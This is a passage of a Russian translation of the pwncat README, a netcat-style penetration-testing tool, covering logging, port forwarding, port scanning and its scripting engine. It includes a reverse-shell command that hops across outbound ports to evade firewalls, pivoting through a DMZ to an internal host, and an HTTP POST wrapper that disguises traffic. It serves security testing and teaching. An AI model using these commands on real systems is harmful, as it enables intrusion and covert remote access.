Отсутствие информационных сообщений полностью иногда также нежелательно. Возможно, вы захотите знать, что происходит за кулисами, не так ли? Безопасно завершите сервер с помощью <kbd>Ctrl</kbd>+<kbd>c</kbd> и перенаправьте уведомления в файл журнала:```bash
pwncat -l -vvv 4444 2> comm.txt

Теперь в вашем сеансе терминала вы будете видеть только фактические входные данные команд и их вывод. Если вы хотите увидеть, что происходит за кулисами, откройте второе окно терминала и выполните tail файла comm.txt:```bash

View communication info

tail -fn50 comm.txt

2020-05-11 08:40:57,927 DEBUG NetcatServer.receive(): 'Client connected: 127.0.0.1:46744' 2020-05-11 08:40:57,927 TRACE [STDIN] 1854:producer(): Command output: b'\x1b[32m[0]\x1b[0m\r\r\n' 2020-05-11 08:40:57,927 TRACE [STDIN] 2047:run_action(): [STDIN] Producer received: '\x1b[32m[0]\x1b[0m\r\r\n' 2020-05-11 08:40:57,927 DEBUG [STDIN] 815:send(): Trying to send 15 bytes to 127.0.0.1:46744 2020-05-11 08:40:57,927 TRACE [STDIN] 817:send(): Trying to send: b'\x1b[32m[0]\x1b[0m\r\r\n' 2020-05-11 08:40:57,927 DEBUG [STDIN] 834:send(): Sent 15 bytes to 127.0.0.1:46744 (0 bytes remaining) 2020-05-11 08:40:57,928 TRACE [STDIN] 1852:producer(): Reading command output

root@kitploit:~
#### Информация о сокетах

Ещё одна полезная особенность — отображение текущих настроек сокетов и сети.
Используйте ключ `--info` с одним из параметров: `socket`, `ipv4`, `ipv6`, `tcp` или `all`, чтобы показать все
доступные настройки.

**Примечание:** Для просмотра этих настроек необходимо как минимум уровень журналирования `INFO` (`-vv`).

Пример вывода в режиме IPv4/TCP без каких-либо пользовательских настроек показан ниже:```
INFO: [bind-sock] Sock: SO_DEBUG: 0
INFO: [bind-sock] Sock: SO_ACCEPTCONN: 1
INFO: [bind-sock] Sock: SO_REUSEADDR: 1
INFO: [bind-sock] Sock: SO_KEEPALIVE: 0
INFO: [bind-sock] Sock: SO_DONTROUTE: 0
INFO: [bind-sock] Sock: SO_BROADCAST: 0
INFO: [bind-sock] Sock: SO_LINGER: 0
INFO: [bind-sock] Sock: SO_OOBINLINE: 0
INFO: [bind-sock] Sock: SO_REUSEPORT: 0
INFO: [bind-sock] Sock: SO_SNDBUF: 16384
INFO: [bind-sock] Sock: SO_RCVBUF: 131072
INFO: [bind-sock] Sock: SO_SNDLOWAT: 1
INFO: [bind-sock] Sock: SO_RCVLOWAT: 1
INFO: [bind-sock] Sock: SO_SNDTIMEO: 0
INFO: [bind-sock] Sock: SO_RCVTIMEO: 0
INFO: [bind-sock] Sock: SO_ERROR: 0
INFO: [bind-sock] Sock: SO_TYPE: 1
INFO: [bind-sock] Sock: SO_PASSCRED: 0
INFO: [bind-sock] Sock: SO_PEERCRED: 0
INFO: [bind-sock] Sock: SO_BINDTODEVICE: 0
INFO: [bind-sock] Sock: SO_PRIORITY: 0
INFO: [bind-sock] Sock: SO_MARK: 0
INFO: [bind-sock] IPv4: IP_OPTIONS: 0
INFO: [bind-sock] IPv4: IP_HDRINCL: 0
INFO: [bind-sock] IPv4: IP_TOS: 0
INFO: [bind-sock] IPv4: IP_TTL: 64
INFO: [bind-sock] IPv4: IP_RECVOPTS: 0
INFO: [bind-sock] IPv4: IP_RECVRETOPTS: 0
INFO: [bind-sock] IPv4: IP_RETOPTS: 0
INFO: [bind-sock] IPv4: IP_MULTICAST_IF: 0
INFO: [bind-sock] IPv4: IP_MULTICAST_TTL: 1
INFO: [bind-sock] IPv4: IP_MULTICAST_LOOP: 1
INFO: [bind-sock] IPv4: IP_DEFAULT_MULTICAST_TTL: 0
INFO: [bind-sock] IPv4: IP_DEFAULT_MULTICAST_LOOP: 0
INFO: [bind-sock] IPv4: IP_MAX_MEMBERSHIPS: 0
INFO: [bind-sock] IPv4: IP_TRANSPARENT: 0
INFO: [bind-sock] TCP: TCP_NODELAY: 0
INFO: [bind-sock] TCP: TCP_MAXSEG: 536
INFO: [bind-sock] TCP: TCP_CORK: 0
INFO: [bind-sock] TCP: TCP_KEEPIDLE: 7200
INFO: [bind-sock] TCP: TCP_KEEPINTVL: 75
INFO: [bind-sock] TCP: TCP_KEEPCNT: 9
INFO: [bind-sock] TCP: TCP_SYNCNT: 6
INFO: [bind-sock] TCP: TCP_LINGER2: 60
INFO: [bind-sock] TCP: TCP_DEFER_ACCEPT: 0
INFO: [bind-sock] TCP: TCP_WINDOW_CLAMP: 0
INFO: [bind-sock] TCP: TCP_INFO: 10
INFO: [bind-sock] TCP: TCP_QUICKACK: 1
INFO: [bind-sock] TCP: TCP_FASTOPEN: 0

Магия перенаправления портов

Локальное перенаправление TCP-портов

Сценарий

  1. Алиса доступна извне (TCP/UDP)
  2. Боб доступен только с машины Алисы``` | | Outside | DMZ | private subnet | | | | +-----------------+ TCP +-----------------+ TCP +-----------------+ | The cat | -----|----> | Alice | -----|----> | Bob | | | | | pwncat | | | MySQL | | 56.0.0.1 | | | 72.0.0.1:3306 | | | 10.0.0.1:3306 | +-----------------+ | +-----------------+ | +-----------------+ pwncat 72.0.0.1 3306 | pwncat \ | | -L 72.0.0.1:3306 \ | | 10.0.0.1 3306 |
root@kitploit:~
#### Локальная переадресация UDP-портов

**Сценарий**
1. Alice может быть достигнута извне (но только через UDP)
2. Bob может быть достигнут только с машины Alice```
                              |                               |
        Outside               |           DMZ                 |        private subnet
                              |                               |
                              |                               |
     +-----------------+     UDP     +-----------------+     TCP     +-----------------+
     | The cat         | -----|----> | Alice           | -----|----> | Bob             |
     |                 |      |      | pwncat -L       |      |      | MySQL           |
     | 56.0.0.1        |      |      | 72.0.0.1:3306   |      |      | 10.0.0.1:3306   |
     +-----------------+      |      +-----------------+      |      +-----------------+
     pwncat -u 72.0.0.1 3306  |      pwncat -u \              |
                              |        -L 72.0.0.1:3306 \     |
                              |        10.0.0.1 3306          |

Удалённая переадресация TCP-портов

Сценарий

  1. Алиса недоступна извне
  2. Алисе разрешено подключаться к внешней сети (TCP/UDP)
  3. Боб доступен только с машины Алисы``` | | Outside | DMZ | private subnet | | | | +-----------------+ TCP +-----------------+ TCP +-----------------+ | The cat | <----|----- | Alice | -----|----> | Bob | | | | | pwncat | | | MySQL | | 56.0.0.1 | | | 72.0.0.1:3306 | | | 10.0.0.1:3306 | +-----------------+ | +-----------------+ | +-----------------+ pwncat -l 4444 | pwncat --reconn \ | | -R 56.0.0.1:4444 \ | | 10.0.0.1 3306 |
root@kitploit:~
#### Удаленная переадресация UDP-порта

**Сценарий**
1. Алиса недоступна из внешней сети
2. Алисе разрешено подключаться к внешней сети (UDP: только DNS)
3. Боб доступен только с машины Алисы```
                              |                               |
        Outside               |           DMZ                 |        private subnet
                              |                               |
                              |                               |
     +-----------------+     UDP     +-----------------+     TCP     +-----------------+
     | The cat         | <----|----- | Alice           | -----|----> | Bob             |
     |                 |      |      | pwncat          |      |      | MySQL           |
     | 56.0.0.1        |      |      | 72.0.0.1:3306   |      |      | 10.0.0.1:3306   |
     +-----------------+      |      +-----------------+      |      +-----------------+
     pwncat -u -l 53          |      pwncat -u --reconn \     |
                              |        -R 56.0.0.1:4444 \     |
                              |        10.0.0.1 3306          |

Скачкообразный перебор исходящих портов

Если вы понятия не имеете, какие исходящие порты разрешены на целевой машине, вы можете указать клиенту (например, в случае обратной оболочки) бесконечно перебирать исходящие порты.```bash

Reverse shell on target (the client)

--exec # The command shell the client should provide

--reconn # Instruct it to reconnect endlessly

--reconn-wait # Reconnect every 0.1 seconds

--reconn-robin # Use these ports to probe for outbount connections

pwncat --exec /bin/bash --reconn --reconn-wait 0.1 --reconn-robin 54-1024 10 10.0.0.1 53

root@kitploit:~
Как только клиент запущен и работает, используйте raw sockets для проверки входящего трафика или используйте
что-то вроде Wireshark или tcpdump, чтобы узнать, откуда клиент может подключиться обратно к вам.

Если вы нашли один или несколько портов, к которым клиент может подключиться к вам,
просто запустите ваш слушатель локально и ждите, пока он вернется.```bash
pwncat -l <ip> <port>

Если клиент подключается к вам, у вас будет работающий обратный shell. Если вы остановите ваш локальный слушающий сервер случайно или намеренно, клиент будет снова сканировать порты, пока не подключится успешно. Чтобы завершить клиент обратного shell, вы можете использовать --safe-word (при запуске клиента).

Если ни одно из этих действий не сработает, вы можете добавить другие меры, например, использование UDP или даже инкапсуляцию ваших пакетов в протоколы более высокого уровня, такие как HTTP или другие. См. PSE или примеры ниже, чтобы узнать, как преобразовать ваш трафик.

Pwncat Scripting Engine (PSE)

pwncat предлагает движок сценариев на основе Python для внедрения вашего пользовательского кода перед отправкой и после получения данных.

Как это работает

Вам просто нужно предоставить файл Python со следующей функцией точки входа:```python def transform(data, pse): # Example to reverse a string return data[::-1]

root@kitploit:~
При этом имя функции должно быть `transform`, а имена анализируемых аргументов — `data` и `pse`.
В остальном вы можете добавлять столько кода, сколько захотите. Каждый экземпляр `pwncat` может принимать два скрипта:

1. `--script-send`: скрипт будет применён перед отправкой
2. `--script-recv`: скрипт будет применён после получения

Смотрите [здесь](https://github.com/cytopia/pwncat/blob/HEAD/pse) API и более подробную информацию

#### Пример 1: Самостоятельное асимметричное шифрование

> PSE: [asym-enc](https://github.com/cytopia/pwncat/blob/HEAD/pse/asym-enc) исходный код

Это зашифрует ваш трафик асимметрично. Это всего лишь очень простая реализация [ROT13](https://en.wikipedia.org/wiki/ROT13) с разной длиной сдвига на обеих сторонах, чтобы *имитировать* асимметрию. Вы можете сделать то же самое и реализовать асимметричное шифрование на основе GPG для PSE.```bash
# server
pwncat -vvvv -l localhost 4444 \
  --script-send pse/asym-enc/pse-asym_enc-server_send.py \
  --script-recv pse/asym-enc/pse-asym_enc-server_recv.py
root@kitploit:~
# client
pwncat -vvvv localhost 4444 \
  --script-send pse/asym-enc/pse-asym_enc-client_send.py \
  --script-recv pse/asym-enc/pse-asym_enc-client_recv.py

Пример 2: Самодельная обёртка HTTP POST

PSE: http-post исходный код

Это упакует весь трафик в корректный HTTP POST запрос, делая его похожим на обычный HTTP трафик.```bash

server

pwncat -vvvv -l localhost 4444
--script-send pse/http-post/pse-http_post-pack.py
--script-recv pse/http-post/pse-http_post-unpack.py

root@kitploit:~
```bash
# client
pwncat -vvvv localhost 4444 \
  --script-send pse/http-post/pse-http_post-pack.py \
  --script-recv pse/http-post/pse-http_post-unpack.py

Сканирование портов

TCP```bash

$ sudo netstat -tlpn Active Internet connections (only servers) Proto Recv-Q Send-Q Local Address Foreign Address State tcp 0 0 127.0.0.1:631 0.0.0.0:* LISTEN tcp 0 0 127.0.0.1:25 0.0.0.0:* LISTEN tcp 0 0 127.0.0.1:4444 0.0.0.0:* LISTEN tcp 0 0 0.0.0.0:902 0.0.0.0:* LISTEN tcp6 0 0 ::1:631 :::* LISTEN tcp6 0 0 ::1:25 :::* LISTEN tcp6 0 0 ::1:4444 :::* LISTEN tcp6 0 0 :::1053 :::* LISTEN tcp6 0 0 :::902 :::* LISTEN

root@kitploit:~
#### UDP
Следующие UDP-порты открыты:```bash
$ sudo netstat -ulpn
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address           Foreign Address
udp        0      0 0.0.0.0:631             0.0.0.0:*
udp        0      0 0.0.0.0:5353            0.0.0.0:*
udp        0      0 0.0.0.0:39856           0.0.0.0:*
udp        0      0 0.0.0.0:68              0.0.0.0:*
udp        0      0 0.0.0.0:68              0.0.0.0:*
udp6       0      0 :::1053                 :::*
udp6       0      0 :::5353                 :::*
udp6       0      0 :::57728                :::*
nmap```bash

$ time sudo nmap -T5 localhost --version-intensity 0 -p- -sU Starting Nmap 7.70 ( https://nmap.org ) at 2020-05-24 17:03 CEST Warning: 127.0.0.1 giving up on port because retransmission cap hit (2). Nmap scan report for localhost (127.0.0.1) Host is up (0.000035s latency). Other addresses for localhost (not scanned): ::1 Not shown: 65529 closed ports PORT STATE SERVICE 68/udp open|filtered dhcpc 631/udp open|filtered ipp 1053/udp open|filtered remote-as 5353/udp open|filtered zeroconf 39856/udp open|filtered unknown 40488/udp open|filtered unknown

Nmap done: 1 IP address (1 host up) scanned in 179.15 seconds

real 2m52.446s user 0m0.844s sys 0m2.571s

root@kitploit:~
##### netcat```bash
$ time nc  -z localhost 1-65535  -u -4 -v
Connection to localhost 68 port [udp/bootpc] succeeded!
Connection to localhost 631 port [udp/ipp] succeeded!
Connection to localhost 1053 port [udp/*] succeeded!
Connection to localhost 5353 port [udp/mdns] succeeded!
Connection to localhost 39856 port [udp/*] succeeded!

real    0m18.734s
user    0m1.004s
sys     0m2.634s
pwncat```bash

$ time pwncat -z localhost 1-65535 -u -4 Scanning 65535 ports [+] 68/UDP open (IPv4) [+] 631/UDP open (IPv4) [+] 1053/UDP open (IPv4) [+] 5353/UDP open (IPv4) [+] 39856/UDP open (IPv4)

real 0m7.309s user 0m6.465s sys 0m4.794s

root@kitploit:~
## :information_source: Часто задаваемые вопросы (FAQ)

**Полный FAQ см. здесь:** https://docs.pwncat.org/en/latest/faq.html

**В:** Совместим ли `pwncat` с `netcat`?

**О:** Да, он полностью совместим по поведению в режимах подключения, прослушивания и нулевого ввода-вывода.
Вы даже можете смешивать `pwncat` с `netcat`, `ncat` или подобными инструментами.

**В:** Работает ли он на X?

**О:** В текущем состоянии он работает с Python 2, 3, pypy2 и pypy3 и полностью протестирован на Linux и MacOS. Поддержка Windows доступна, но считается экспериментальной (см. [интеграционные тесты](https://github.com/cytopia/pwncat/actions)).

**В:** Я нашел ошибку / хочу предложить новую функцию. Что мне делать?

**О:** Для сообщений об ошибках или улучшений, пожалуйста, откройте issue [здесь](https://github.com/cytopia/pwncat/issues).

**В:** Как я могу поддержать этот проект?

**О:** Спасибо за вопрос! Прежде всего, поставьте звезду этому проекту, чтобы дать мне обратную связь, и посмотрите [CONTRIBUTING.md](https://github.com/cytopia/pwncat/blob/HEAD/CONTRIBUTING.md) для деталей.

## :sunrise: Художественное оформление

<table>
 <thead>
  <tr>
   <th>Тип</th>
   <th>Художник</th>
   <th>Изображение</th>
   <th>Лицензия</th>
  </tr>
 </thead>
 <tbody>
  <tr>
   <td>Логотип</td>
   <td><a href="https://github.com/maifz">maifz</a></td>
   <td><a href="art/logo.png"><img src="https://assets.kitploit.com/production/public/readmes/5318/a1b54927c2019b933f6e456079c612aff45d525e69c6058199d8fe049916146f.png" style="height:128px;" height="128" alt="логотип pwncat" title="логотип pwncat" /></a></td>
   <td><a href="https://creativecommons.org/licenses/by-sa/4.0/"><img src="https://assets.kitploit.com/production/public/readmes/5318/acde67df4b37d9df101d6555c669c258cea69750bc84ae2051ebec0970f706c8.png" /></a></td>
  </tr>
  <tr>
   <td>Баннер 1</td>
   <td><a href="https://github.com/maifz">maifz</a></td>
   <td><a href="art/banner-1.png"><img src="https://assets.kitploit.com/production/public/readmes/5318/51461eddf94bb0ed53b8d28478113978cf87ea31e645b2afc8e1783053e8bafc.png" style="height:128px;" height="128" alt="баннер pwncat" title="баннер pwncat"  /></a></td>
   <td><a href="https://creativecommons.org/licenses/by-sa/4.0/"><img src="https://assets.kitploit.com/production/public/readmes/5318/acde67df4b37d9df101d6555c669c258cea69750bc84ae2051ebec0970f706c8.png" /></a></td>
  </tr>
  <tr>
   <td>Баннер 2</td>
   <td><a href="https://github.com/maifz">maifz</a></td>
   <td><a href="art/banner-2.png"><img src="https://assets.kitploit.com/production/public/readmes/5318/1deb2e118b970b2b974f682e9ef087bbc5cc9c18674b5d4cbbdf967885d119c9.png" style="height:128px;" height="128" alt="баннер pwncat" title="баннер pwncat" /></a></td>
   <td><a href="https://creativecommons.org/licenses/by-sa/4.0/"><img src="https://assets.kitploit.com/production/public/readmes/5318/acde67df4b37d9df101d6555c669c258cea69750bc84ae2051ebec0970f706c8.png" /></a></td>
  </tr>
 </tbody>
</table>

## :lock: Инструменты безопасности [cytopia](https://github.com/cytopia)

Ниже приведен список инструментов безопасности и документации, которые я поддерживаю.

| Название            | Категория            | Язык         | Описание |
|---------------------|----------------------|--------------|----------|
| **[offsec]**        | Документация         | Markdown     | Чек-лист, инструменты и примеры для Offsec |
| **[header-fuzz]**   | Перебор              | Bash         | Фаззинг HTTP-заголовков |
| **[smtp-user-enum]**| Перебор              | Python 2+3   | Перебор пользователей SMTP |
| **[urlbuster]**     | Перебор              | Python 2+3   | Фаззер веб-директорий с изменяемыми параметрами |
| **[pwncat]**        | Проксирование        | Python 2+3   | Кроссплатформенный netcat на стероидах |
| **[kusanagi]**      | Генератор полезной нагрузки | Python 3 | Генератор полезной нагрузки для bind- и reverse shell |
| **[badchars]**      | Реверс-инжиниринг    | Python 2+3   | Генератор badchar |
| **[fuzza]**         | Реверс-инжиниринг    | Python 2+3   | Инструмент для фаззинга TCP |
| **[docker-dvwa]**   | Песочница            | PHP          | DVWA с задачами на локальное повышение привилегий |

[offsec]: https://github.com/cytopia/offsec
[header-fuzz]: https://github.com/cytopia/header-fuzz
[smtp-user-enum]: https://github.com/cytopia/smtp-user-enum
[urlbuster]: https://github.com/cytopia/urlbuster
[pwncat]: https://github.com/cytopia/pwncat
[kusanagi]: https://github.com/cytopia/kusanagi
[badchars]: https://github.com/cytopia/badchars
[fuzza]: https://github.com/cytopia/fuzza
[docker-dvwa]: https://github.com/cytopia/docker-dvwa

## :octocat: Участие

Смотрите **[Руководство по участию](https://github.com/cytopia/pwncat/blob/HEAD/CONTRIBUTING.md)**, чтобы помочь улучшить этот проект.

## :exclamation: Отказ от ответственности

Этот инструмент может использоваться только в законных целях. Пользователи несут полную ответственность за любые действия, выполненные с помощью этого инструмента. Автор не несет ответственности за ущерб, причиненный этим инструментом. Если эти условия для вас неприемлемы, не используйте этот инструмент.

## :page_facing_up: Лицензия

**[MIT License](https://github.com/cytopia/pwncat/blob/HEAD/LICENSE.txt)**

Авторское право (c) 2020 **[cytopia](https://github.com/cytopia)**